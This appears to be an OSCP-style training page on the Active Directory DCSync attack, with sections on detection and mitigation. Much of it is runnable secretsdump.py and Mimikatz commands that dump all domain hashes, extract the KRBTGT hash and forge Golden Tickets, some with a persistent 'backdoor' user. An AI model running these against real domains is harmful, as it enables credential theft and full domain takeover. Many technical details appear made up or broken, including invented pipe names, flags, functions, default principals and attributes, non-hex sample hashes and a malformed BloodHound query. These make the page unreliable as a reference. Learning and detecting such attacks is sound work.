Domain 6Active Directory AttacksCORE

DCSync Attack

The DCSync attack abuses the Directory Replication Service (DRS) RPC interface to mimic a legitimate Domain Controller replication request, allowing extraction of password hashes, KRBTGT, and other credentials from any DC without physically accessing it.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#DCSync#DRS#Replication#secretsdump#KRBTGT

DCSync Attack

Table of Contents

  1. Concept Overview
  2. Technical Deep-Dive: DRS Protocol
  3. How DCSync Mimics Legitimate Replication
  4. Required Privileges
  5. Who Has DCSync Rights by Default
  6. secretsdump.py Method
  7. Mimikatz Method
  8. Extracting KRBTGT Hash
  9. BloodHound Integration
  10. Tools Comparison
  11. Detection Indicators
  12. Mitigation Strategies
  13. Common Pitfalls and Troubleshooting
  14. OSCP Exam Tips

Concept Overview

DCSync is an attack technique that abuses the Directory Replication Service (DRS) RPC interface to extract credential data from a Domain Controller — without needing physical or administrative access to the DC itself.

The Core Insight

Domain Controllers replicate directory data with each other using the DRS protocol. This replication is a normal, trusted operation. DCSync works by:

  1. Authenticating to a DC as a user with replication privileges
  2. Sending a DRS replication request for specific objects
  3. Receiving the full directory data, including NTLM hashes, AES keys, and plaintext passwords (if WDIGEST is enabled)

Why It’s Powerful

Traditional Approach DCSync Approach
Must compromise the DC itself Can target any DC from any machine
Requires local admin on DC Only needs replication rights
Physical/remote access to DC Only needs network access to DC
Risk of detection on DC Looks like normal replication traffic
One DC at a time Can sync from any DC in the forest

What You Can Extract

  • NTLM (NT) hashes for any user in the domain
  • KRBTGT hash (enables Golden Ticket attacks)
  • AES keys (for Kerberos encryption)
  • Plaintext passwords (if WDigest is enabled or Cloud AP credential cache)
  • ASP (Account Solution Password) for service accounts
  • DCE (Device Credential Encryption) keys

Technical Deep-Dive: DRS Protocol

What is DRS?

Directory Replication Service (DRS) is the RPC-based protocol used by Active Directory Domain Controllers to replicate directory partitions (naming contexts) between each other.

DRS RPC Interface

┌──────────────────────────────────────────────────────┐
│                  DRS RPC INTERFACE                    │
├──────────────────────────────────────────────────────┤
│                                                      │
│  Endpoint:  \\DC_IP\pipe\ntswrksrv (or similar)      │
│  Protocol:  RPC over SMB (port 445)                  │
│  Interface: IDrsGetChangesReq8, IDrsReplicaRefInfo,   │
│             IDrsGetNCChanges, etc.                    │
│                                                      │
│  Key Functions Used in DCSync:                        │
│  ┌────────────────────────────────────────────────┐  │
│  │ GetNCChanges       → Request NC changes       │  │
│  │ GetNCChanges2      → Extended NC changes      │  │
│  │ DSGetDomainChanges → Domain-level changes     │  │
│  └────────────────────────────────────────────────┘  │
│                                                      │
│  Critical Flag:                                     │
│  DRSDUPLIB_CRABS_GET_CHANGES_ALL (0x00000001)       │
│  → Requests full object data including secrets       │
│                                                      │
└──────────────────────────────────────────────────────┘

The Replication Flow

┌──────────┐                          ┌──────────┐
│ Attacker │                          │   DC     │
│ (DCSync) │                          │          │
└────┬─────┘                          └────┬─────┘
     │                                     │
     │  [1] RPC Bind to DRS endpoint       │
     │  (port 445, named pipe)             │
     │────────────────────────────────────>│
     │                                     │
     │  [2] Authenticate                   │
     │  (Kerberos/NTLM with privileged     │
     │   account credentials)              │
     │────────────────────────────────────>│
     │                                     │
     │  [3] GetNCChanges Request           │
     │  - Target: CN=Configuration         │
     │  - Flags: GET_CHANGES_ALL           │
     │  - Partial Attribute Set:            │
     │    ntPasswords, unicodePwd,         │
     │    dBCSPwd, msDS-KeyCredentialLink  │
     │────────────────────────────────────>│
     │                                     │
     │  [4] DC Validates:                  │
     │  - Does caller have                  │
     │    DS-Replication-Get-Changes?       │
     │  - Is the request within scope?      │
     │                                     │
     │  [5] DC Returns Full Object Data    │
     │  ←──────────────────────────────────│
     │    Including NTLM hashes, AES keys,  │
     │    plaintext passwords (if cached)   │
     │                                     │

Key DRS Structures

GetNCChanges Request

typedef struct {
    GUID sourceDsaObjId;        // Source DC's DSA object GUID
    UNISTR ncDn;                // Naming Context DN to replicate
    GUID upToDateVectorRefId;   // Up-to-dateness vector
    ULONG ulFlags;              // Critical flags
    DS_NAME_STRING partialAttrSet; // Attributes to retrieve
} DRSDSAGETCHANGESREQ;

Critical Flag: ulFlags must include DRSDUPLIB_CRABS_GET_CHANGES_ALL (value 0x00000001) to request secret attributes.

Partial Attribute Set

The attacker specifies which attributes to retrieve. For DCSync, the critical attributes are:

Attribute Contains Used For
ntPasswords NTLM hash PtH, OpH, DCSync
unicodePwd Plaintext password Direct auth
dBCSPwd DES key for Kerberos Legacy Kerberos
msDS-KeyCredentialLink Kerberos key material Modern auth
secret Generic secret Service accounts

How DCSync Mimics Legitimate Replication

The Deception

DCSync works because the Domain Controller cannot distinguish between:

  • A legitimate DC requesting replication
  • An attacker with replication privileges requesting the same data

Legitimate DC Replication vs DCSync

Aspect Legitimate DC DCSync Attack
Authentication Machine account ($ account) Any account with replication rights
DRS Bind Same RPC interface Same RPC interface
GetNCChanges Same function call Same function call
Flags GET_CHANGES_ALL GET_CHANGES_ALL
Attributes Full attribute set Selected secret attributes
DC Response Returns replication data Returns replication data
Detection Normal operation Suspicious source

Why the DC Complies

The DC checks only one thing: Does the authenticated principal have the DS-Replication-Get-Changes (or related) ACE on the target object?

If yes → return the data. No further validation of “is this a real DC?” is performed.


Required Privileges

The Three Critical ACEs

ACE Right Scope Description
DS-Replication-Get-Changes Get-Changes Naming Context Request changes from a specific NC
DS-Replication-Get-Changes-All Get-Changes-All Naming Context Request all changes including secrets
DS-Replication-Get-Changes-In-Filtered-Set Get-Changes-In-Filtered-Set Domain Object Request changes for filtered set (RODC scenario)

ACE Details

DS-Replication-Get-Changes-All (Most Important)

  • Rights GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • Applied on: Naming Context objects (e.g., DC=corp,DC=local)
  • Effect: Allows requesting full replication data including password hashes
  • This is the ACE DCSync needs

DS-Replication-Get-Changes

  • Rights GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  • Applied on: Naming Context objects
  • Effect: Allows requesting replication changes but without secret attributes
  • Not sufficient for DCSync (no password hashes)

DS-Replication-Get-Changes-In-Filtered-Set

  • Rights GUID: 62dd2898-70e8-4e50-b5b7-e58d1294bbe7
  • Applied on: Domain object (e.g., DC=corp,DC=local)
  • Effect: Allows RODC-style filtered replication
  • Can be used for DCSync in certain configurations

Privilege Hierarchy

DS-Replication-Get-Changes-All  (FULL - includes secrets)
         │
         ├── Can extract NTLM hashes
         ├── Can extract AES keys
         ├── Can extract KRBTGT
         └── Can extract any user's credentials

DS-Replication-Get-Changes      (LIMITED - no secrets)
         │
         └── Cannot extract password hashes
             (useless for DCSync)

DS-Replication-Get-Changes-In-Filtered-Set  (FILTERED)
         │
         ├── Can extract credentials for accounts in
         │   msDS-AllowedToAuthenticateOnBehalfOfOtherIdentity
         └── Used for RODC replication

Who Has DCSync Rights by Default

Default Principals with DCSync Rights

Principal ACE Granted Scope Notes
Domain Admins Get-Changes-All All NCs Full DCSync capability
Enterprise Admins Get-Changes-All All NCs in forest Full DCSync capability
Administrator Get-Changes-All All NCs Built-in SA
Domain Controllers Get-Changes-All All NCs All DCs in domain
CRITICAL DOMAIN EXTENSION Get-Changes-All Configuration NC System-managed
CRITICAL SERVICING ACCOUNT Get-Changes-All Configuration NC System-managed

RODC Scenario

If a Read-Only Domain Controller exists:

Principal ACE Scope
RODC Computer Account Get-Changes-In-Filtered-Set Domain object
RODC Replication Filtered by msDS-AllowedToReplicateWithDelegation Limited accounts

Checking DCSync Rights with PowerShell

# Check who has DCSync rights on the domain
Import-Module ActiveDirectory

# Get ACL on the domain object
$domain = Get-ADDomain
$acl = Get-Acl "AD:$($domain.DistinguishedName)"
$acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "Replication-Get-Changes"
} | Format-Table IdentityReference, ActiveDirectoryRights -AutoSize

Checking with SharpHound / BloodHound

# BloodHound will automatically map DCSync rights
# Look for:
# - Nodes with "DCSync" badge
# - Paths to Domain Admins via DCSync
# - Accounts with Get-Changes-All ACE

secretsdump.py Method

Overview

secretsdump.py is an Impacket tool that performs DCSync from Kali Linux (or any system with Impacket installed). It is the most commonly used method for DCSync in the OSCP exam.

Basic DCSync — All Users

# Extract all user hashes from the domain
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc

# Output:
# Impacket v0.12.0
# [*] Target NTDS.DIT Users Dump
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Used DCSync: links with 'krbtgt' as basic user
# [*] Decrypting computer passwords using EXCHANGE_E32 key: XXXXXXXX
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h...
# CORP\administrator:aad3b435b51404eeaad3b435b51404ee:528b7105f4184a3d0b5faf23e96bd46e
# CORP\jsmith:aad3b435b51404eeaad3b435b51404ee:9f4e...
# CORP\svc_backup:aad3b435b51404eeaad3b435b51404ee:7c3d...
# [*] Cleaning up...

DCSync for Specific User

# Extract only a specific user's hash
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc-user jsmith

# Output:
# CORP\jsmith:aad3b435b51404eeaad3b435b51404ee:9f4e8a2b3c1d...

DCSync for KRBTGT Only

# Extract only the KRBTGT hash (for Golden Ticket)
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc-user krbtgt

# Output:
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l...

Using Hashes Instead of Password

# If you have the NTLM hash instead of plaintext password
secretsdump.py -hashes :528b7105f4184a3d0b5faf23e96bd46e corp.local/administrator@DC_IP -just-dc

# Or with both LM:NT format
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:528b7105f4184a3d0b5faf23e96bd46e corp.local/administrator@10.0.0.1 -just-dc

Using Kerberos Authentication

# If you already have a TGT (via Overpass-the-Hash)
export KRB5CCNAME=/tmp/ccache_XXXX
secretsdump.py -k -no-pass corp.local/administrator@DC_IP -just-dc

Full Parameter Reference

Parameter Description Example
-just-dc DCSync all users (NTDS.dit dump) -just-dc
-just-dc-user USER DCSync specific user -just-dc-user jsmith
-just-user USER DCSync specific user (alias) -just-user jsmith
-just-dc-ntpairs DCSync with NTLM pairs -just-dc-ntpairs
-hashes LM:NT Use NTLM hashes for auth -hashes :528b...
-k Use Kerberos auth (from ccache) -k
-no-pass No password (use ccache) -no-pass
-dc-ip IP Target DC IP address -dc-ip 10.0.0.1
-dc-host FQDN Target DC FQDN -dc-host dc01.corp.local
-outputfile FILE Save output to file -outputfile hashes.txt
-debug Debug output -debug

Saving Output to File

# Save all hashes to a file
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc -outputfile /tmp/dcsync_dump

# Creates two files:
# /tmp/dcsync_dump.ntds  (hashes)
# /tmp/dcsync_dump.secrets (machine accounts, bootkey, etc.)

Mimikatz Method

Overview

Mimikatz performs DCSync via the lsadump::dcsync module. This is the Windows-native method for DCSync.

Basic DCSync — All Users

# Dump all users via DCSync
lsadump::dcsync /domain:corp.local /all

# Output:
# [*] Action: DCSync (lsadump::dcsync)
# [*] Target domain   : corp.local
# [*] Target DC       : dc01.corp.local
#
# [*] Searching objects...
# [*] Found 15 objects
#
# [*] Object 1/15: krbtgt
# [*] User: krbtgt
#    Domain   : CORP
#    NTLM     : 8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v
#    AES256   : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b
#    AES128   : 9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k3j2i1h0g9f8e7d6c5b4a3z9y8x7w6v
#
# [*] Object 2/15: administrator
# [*] User: administrator
#    Domain   : CORP
#    NTLM     : 528b7105f4184a3d0b5faf23e96bd46e
#    AES256   : 2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c

DCSync for Specific User

# Dump specific user
lsadump::dcsync /domain:corp.local /user:jsmith

# Output:
# [*] User: jsmith
#    Domain   : CORP
#    NTLM     : 9f4e8a2b3c1d5e6f7a8b9c0d1e2f3a4b
#    AES256   : 3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d

DCSync for KRBTGT

# Extract KRBTGT hash specifically
lsadump::dcsync /domain:corp.local /user:krbtgt

# Output:
# [*] User: krbtgt
#    Domain   : CORP
#    NTLM     : 8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v
#    AES256   : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b
#    AES128   : 9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k3j2i1h0g9f8e7d6c5b4a3z9y8x7w6v

DCSync with Alternate Credentials

# Use specific credentials for DCSync
lsadump::dcsync /domain:corp.local /user:krbtgt /dc:dc01.corp.local

Combined: DCSync + Golden Ticket

# Step 1: DCSync to get KRBTGT
lsadump::dcsync /domain:corp.local /user:krbtgt

# Step 2: Create Golden Ticket with the extracted hash
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt

Parameter Reference

Parameter Description Example
/domain Target domain /domain:corp.local
/user Target user to sync /user:jsmith
/all Sync all users /all
/dc Target DC /dc:dc01.corp.local
/auth Authentication method /auth:kerberos
/spn Service Principal Name /spn:cifs/server.corp.local
/partattr Partial attribute set /partattr:ntPasswords

Extracting KRBTGT Hash

Why KRBTGT Matters

The KRBTGT account is the Kerberos Key Distribution Center service account. Its hash is used to:

  • Sign all TGTs in the domain
  • Enable Golden Ticket attacks when compromised

Method 1: secretsdump.py

# Extract only KRBTGT
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc-user krbtgt

# Output format:
# CORP\krbtgt:LMHASH:NTHASH
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v

Method 2: Mimikatz

lsadump::dcsync /domain:corp.local /user:krbtgt

Method 3: Full Dump (Get Everything)

# Get all hashes including KRBTGT
secretsdump.py corp.local/administrator:P@ssw0rd! -just-dc

# KRBTGT will be the first entry
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v

Using the KRBTGT Hash

Once extracted, the KRBTGT hash enables:

# Golden Ticket (Mimikatz)
kerberos::golden /user:ATTACKER /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt

# Overpass-the-Hash for KRBTGT (Rubeus)
Rubeus.exe asktgt /user:krbtgt /rc4:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /domain:corp.local /ptt

BloodHound Integration

Identifying DCSync-able Accounts

BloodHound automatically maps DCSync rights during data collection.

Running SharpHound

# Collect data (includes DCSync rights mapping)
SharpHound.exe --CollectionMethods All

# Or specifically for ACL data
SharpHound.exe --CollectionMethods ACL,Group

BloodHound Queries

Find All Accounts with DCSync Rights

# Cypher query in BloodHound
MATCH (n {Rights: "* DCSync"}) RETURN n

# Or using the built-in query:
# "Find all users who can perform DCSync"

Find Shortest Path to DCSync

# Find shortest path from current node to any DCSync-capable account
MATCH p=shortestPath((start:User {name:"ATTACKER@CORP.LOCAL"})-[*1..]->(end:User {Rights:"* DCSync"}))
RETURN p

Find All DCSync Paths to Domain Admins

# If you can DCSync any of these accounts, you can get DA
MATCH p=shortestPath((start)-[*1..]:(MemberOf|HasSession|AllExtendedRights|Owns|CanRDP|CanExecuteCommandLine|AddMember|ForceGMPassword|AddAllowedToAct|GPLink|WriteOwner|WriteDACL|ReadLAPSPassword|WriteSPN|WriteGSADComputation|WriteAccountRestrictions|WriteAll|WriteDacl|WriteOwner|WriteProperty|GetChanges|GetChangesAll|GetChangesInFilteredSet|AllExtendedRights|Owns|WriteMember|AddMember|WriteMember|WriteSPN|WriteGSADComputation|WriteAccountRestrictions|WriteAll|WriteDACL|WriteOwner|WriteProperty|ReadLAPSPassword|CanRDP|CanExecuteCommandLine|AddAllowedToAct|ForceGMPassword|GPLink|MemberOf)*1..5->(end:User {name:"ADMINISTRATOR@CORP.LOCAL"}))
RETURN p

DCSync in BloodHound Visualizations

Visual Indicator Meaning
DCSync badge on node This account has DCSync rights
Get-Changes-All edge Direct DCSync capability
Path to krbtgt Can extract KRBTGT via DCSync
Red highlighted path Critical path to domain compromise

Practical BloodHound Workflow

1. Run SharpHound on compromised host
2. Upload zip to BloodHound
3. Search for "DCSync" in queries
4. Identify accounts with DCSync rights
5. Find path from current access to DCSync account
6. Execute DCSync using identified account

Tools Comparison

Feature secretsdump.py Mimikatz (lsadump::dcsync)
Platform Linux / Kali Windows
Authentication Password, Hash, Kerberos Current session or specified
Output Format DOMAIN\user:LM:NT Structured display
All Users -just-dc /all
Specific User -just-dc-user USER /user:USER
KRBTGT Only -just-dc-user krbtgt /user:krbtgt
Save to File -outputfile FILE Redirect output
DC Specification -dc-ip / -dc-host /dc
Kerberos Auth -k flag Native
Hash Auth -hashes flag Current session
OPSEC Good (no Windows footprint) Moderate (Mimikatz sigs)
Speed Fast Fast
OSCP Recommendation Primary tool on Kali Primary tool on Windows

Detection Indicators

Event ID 4662 — Directory Service Access

This is the PRIMARY detection indicator for DCSync.

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4662
Task Category: Directory Service Access

Key fields:

Field Value for DCSync Why It Matters
Object Server DS Directory Service
Object Type domainDNS or nTDSApi Target is AD object
Object Name DC=corp,DC=local Target naming context
Access Mask 0x100 (Extended Right) Replication access
Access List Extended-right: DS-Replication-Get-Changes-All Critical indicator
SubjectUserName Account performing DCSync Attacker’s account
SubjectDomainName Attacker’s domain Context
SubjectLogonId Session ID Correlation

Event ID 4662 — Detailed Example

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4662</EventID>
    <Keywords>0x8020000000000000</Keywords>
    <Level>0</Level>
    <Task>14066</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2026-08-31T10:15:30Z"/>
    <EventRecordID>123456</EventRecordID>
    <Channel>Security</Channel>
    <Computer>DC01.corp.local</Computer>
    <Security/>
  </System>
  <EventData>
    <Data Name="SubjectUserName">administrator</Data>
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="ObjectServer">DS</Data>
    <Data Name="ObjectType">domainDNS</Data>
    <Data Name="ObjectName">DC=corp,DC=local</Data>
    <Data Name="AccessMask">0x100</Data>
    <Data Name="AccessList">Extended-right: DS-Replication-Get-Changes-All</Data>
  </EventData>
</Event>

Event ID 4769 — Kerberos Service Ticket

When DCSync authenticates via Kerberos:

Event ID: 4769
Key field: Service Name → nTDSGetDC/DC01.corp.local

Event ID 5140 — Share File Access (RPC Pipe)

DCSync uses RPC over SMB named pipes:

Event ID: 5140
Share Name: \pipe\ntswrksrv (or similar DRS pipe)

Detection Rules

Splunk / SIEM Query

index=windows EventCode=4662
| search AccessList="*DS-Replication-Get-Changes-All*"
| search ObjectServer="DS"
| stats count by SubjectUserName, SubjectIpAddress, ObjectName
| where count > 0

Sigma Rule

title: DCSync Attack Detected
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: stable
level: high
logsource:
    category: authentication
    product: windows
detection:
    selection:
        EventID: 4662
        ObjectServer: DS
    selection_access:
        AccessList|all:
            - '*DS-Replication-Get-Changes-All*'
            - '*Get-Changes-All*'
    condition: selection and selection_access
falsepositives:
    - Legitimate DC replication
    - Backup operations with replication rights

Additional Detection Strategies

Strategy Description
Non-DC performing DCSync Alert if non-DC account uses replication rights
Correlate 4662 + 4768 DCSync access + TGT request = likely attack
Monitor DRS RPC from unusual IPs DRS traffic from workstations is suspicious
Baseline replication patterns Alert on replication outside normal schedule
Monitor for krbtgt DCSync Extracting KRBTGT is always suspicious

Mitigation Strategies

1. Principle of Least Privilege

  • Remove unnecessary DCSync rights from accounts
  • Audit who has Get-Changes-All ACE regularly
  • Remove Domain Admin membership where not needed

2. Monitor Event ID 4662

# Enable directory service access auditing
Audit Policy → Object Access → Audit Directory Service Access → Success + Failure

# Or via Group Policy:
# Computer Configuration → Policies → Windows Settings →
# Security Settings → Advanced Audit Policy →
# DS Access → Audit Directory Service Access

3. Alert on Non-DC DCSync

Create alerts for Event ID 4662 where:

  • AccessList contains DS-Replication-Get-Changes-All
  • SubjectUserName is NOT a Domain Controller computer account

4. Restrict DRS RPC Access

# Firewall rule: Allow DRS (RPC/SMB) only between DCs
# Block port 445 (SMB) and RPC dynamic ports from non-DC subnets

5. Implement LAPS

Local Administrator Password Solution prevents local admin hash reuse across the domain.

6. Privileged Access Workstations (PAW)

Restrict Domain Admin accounts to dedicated, hardened workstations that never browse the internet or connect to untrusted networks.

7. Azure AD PIM / Just-In-Time Access

Elevate privileges only when needed, for a limited time, with approval and logging.


Common Pitfalls and Troubleshooting

Pitfall 1: Insufficient Privileges

# Error:
# [-] Error connecting: DCERPC Runtime Error: code: 5 - rpc_s_access_denied

# Fix: Ensure the account has DCSync rights
# Check with:
# - BloodHound (DCSync badge)
# - PowerShell ACL query
# - Mimikatz: lsadump::dcsync /domain:corp.local /user:krbtgt (test first)

Pitfall 2: Wrong DC Target

# Error:
# [-] Error connecting: timed out

# Fix: Specify the correct DC
secretsdump.py -dc-ip 10.0.0.1 corp.local/administrator:P@ssw0rd! -just-dc

Pitfall 3: Account Lockout

If using wrong credentials repeatedly:

# Use hash instead of password to avoid lockout
secretsdump.py -hashes :528b7105f4184a3d0b5faf23e96bd46e corp.local/administrator@10.0.0.1 -just-dc

Pitfall 4: Network Connectivity

# Test connectivity to DC
nmap -p 445,88,135,139 DC_IP

# If ports are filtered, try specifying DC explicitly
secretsdump.py -dc-ip DC_IP -dc-host dc01.corp.local corp.local/admin:P@ss! -just-dc

Pitfall 5: RODC Limitations

If targeting an RODC:

  • RODC has Get-Changes-In-Filtered-Set, not Get-Changes-All
  • DCSync may return limited results
  • Try targeting a writable DC instead

Pitfall 6: Firewall Blocking RPC

# DCSync uses RPC over SMB (port 445)
# If 445 is blocked, DCSync won't work

# Alternative: Use a pivot that has access to the DC
# Or use Mimikatz on a Windows host that can reach the DC

OSCP Exam Tips

1. DCSync is Your Endgame

DCSync is often the final step in an OSCP AD box:

  • Compromise a machine → escalate → find Domain Admin credentials → DCSync → KRBTGT → Golden Ticket → full domain control

2. Quick DCSync Checklist

┌──────────────────────────────────────────────────────────┐
│                  DCSYNC QUICK CHECKLIST                    │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  [ ] Have Domain Admin (or equivalent) credentials       │
│  [ ] Know the DC IP address                              │
│  [ ] Can reach DC on port 445 (SMB/RPC)                 │
│  [ ] Run secretsdump.py with -just-dc flag               │
│  [ ] Save KRBTGT hash for Golden Ticket                  │
│  [ ] Save all user hashes for PtH/OpH                    │
│                                                          │
│  COMMAND:                                                │
│  secretsdump.py -just-dc -outputfile /tmp/dump           │
│    domain/admin:password@DC_IP                           │
│                                                          │
└──────────────────────────────────────────────────────────┘

3. Common OSCP DCSync Scenarios

Scenario Approach
You have DA password secretsdump.py domain/admin:PASS@DC_IP -just-dc
You have DA hash secretsdump.py -hashes :HASH domain/admin@DC_IP -just-dc
You have TGT in memory secretsdump.py -k -no-pass domain/admin@DC_IP -just-dc
You’re on Windows Use Mimikatz lsadump::dcsync /domain:DOM /user:krbtgt
You need only KRBTGT Add -just-dc-user krbtgt

4. After DCSync — What Next?

# 1. Save the output
secretsdump.py domain/admin:PASS@DC_IP -just-dc -outputfile /tmp/dump

# 2. Extract KRBTGT for Golden Ticket
grep krbtgt /tmp/dump.ntds
# CORP\krbtgt:aad3b435b51404eeaad3b435b51404ee:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v

# 3. Use KRBTGT for Golden Ticket (on Windows)
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:8a2d6h5j3k1l9m8n7o6p5q4r3s2t1u0v /ptt

# 4. Or use any user hash for PtH/OpH

5. Detection Awareness

In the OSCP lab:

  • Event ID 4662 will be generated — this is normal
  • The exam doesn’t penalize detection events
  • Document the DCSync in your report with the Event ID for defense recommendations

6. Troubleshooting DCSync in the Lab

# If DCSync fails, check:
# 1. Can you ping the DC?
ping DC_IP

# 2. Is port 445 open?
nmap -p 445 DC_IP

# 3. Do you have the right credentials?
# Test with CrackMapExec first:
crackmapexec smb DC_IP -u admin -p PASS

# 4. Does the account have DCSync rights?
# Domain Admins = yes. If not DA, check BloodHound.

Summary

DCSync is one of the most powerful Active Directory attack techniques because it:

  1. Requires no DC access — works from any machine with network access to a DC
  2. Extracts all credentials — NTLM hashes, AES keys, KRBTGT, plaintext passwords
  3. Looks legitimate — uses the same DRS protocol as normal DC replication
  4. Enables follow-on attacks — Golden Ticket, PtH, OpH, full domain compromise

Key takeaways:

  • secretsdump.py -just-dc is the go-to command on Kali
  • lsadump::dcsync is the go-to command on Windows (Mimikatz)
  • Event ID 4662 with DS-Replication-Get-Changes-All is the primary detection indicator
  • KRBTGT hash extraction enables Golden Ticket attacks
  • BloodHound automatically identifies DCSync-capable accounts
  • Monitor non-DC accounts using replication rights for early detection